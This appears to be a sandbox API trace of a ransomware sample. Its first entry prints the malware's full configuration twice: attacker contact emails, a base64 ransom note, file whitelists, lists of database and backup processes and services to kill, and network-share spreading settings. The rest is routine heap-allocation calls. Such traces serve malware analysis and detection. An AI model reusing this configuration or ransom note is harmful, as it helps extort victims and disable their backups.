	[0053.905] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x4ff8b0, _Radix=0 | out: _EndPtr=0x4ff8b0*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 5
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9490d8, Size=0x1c) returned 0x94f030
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948f18
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f030, Size=0x20) returned 0x94ee78
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948fd8
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948db8
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x9487b8
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9490d8
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ee78, Size=0x24) returned 0x947c30
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948df8
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947c30, Size=0x28) returned 0x947c90
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948ff8
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947c90, Size=0x2c) returned 0x94e510
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948eb8
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948ed8
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x9487f8
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9490f8
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487f8, Size=0x8) returned 0x948938
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949138
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948938, Size=0xc) returned 0x945410
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948e38
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945410, Size=0x10) returned 0x9453e0
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948f38
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453e0, Size=0x14) returned 0x948e58
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948e78
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948e58, Size=0x18) returned 0x948ef8
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948e58
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948ef8, Size=0x1c) returned 0x94ed38
	[0053.906] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948ef8
	[0053.906] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ed38, Size=0x20) returned 0x94f120
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949338
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f120, Size=0x24) returned 0x947c30
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949418
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947c30, Size=0x28) returned 0x947c90
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949178
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947c90, Size=0x2c) returned 0x94e938
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9491f8
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e938, Size=0x30) returned 0x94e468
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949498
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e468, Size=0x34) returned 0x94b8d0
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949158
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94b8d0, Size=0x38) returned 0x94bb90
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949218
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94bb90, Size=0x3c) returned 0x945ae0
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9492b8
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945ae0, Size=0x40) returned 0x945db0
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949478
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945db0, Size=0x44) returned 0x94fa60
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949198
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94fa60, Size=0x48) returned 0x94f740
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949358
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f740, Size=0x4c) returned 0x945a08
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949398
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x50) returned 0x945a08
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9492d8
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x54) returned 0x945a08
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949378
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x58) returned 0x945a08
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9492f8
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x5c) returned 0x945a08
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949318
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x60) returned 0x945a08
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949458
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x64) returned 0x936f98
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949438
	[0053.907] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x68) returned 0x936f98
	[0053.907] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9493b8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x6c) returned 0x936f98
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9494b8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x70) returned 0x936f98
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949238
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x74) returned 0x936f98
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9493d8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x78) returned 0x936f98
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9494d8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x7c) returned 0x945538
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9494f8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x80) returned 0x945538
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9493f8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x84) returned 0x945538
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949278
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x88) returned 0x945538
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9491b8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x8c) returned 0x945538
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9491d8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x90) returned 0x945538
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949258
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x94) returned 0x942a90
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949298
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942a90, Size=0x98) returned 0x942a90
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951588
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942a90, Size=0x9c) returned 0x942a90
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951928
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x9487c8
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951628
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x9487d8
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9515a8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487d8, Size=0x8) returned 0x948928
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951648
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0xc) returned 0x945368
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9515c8
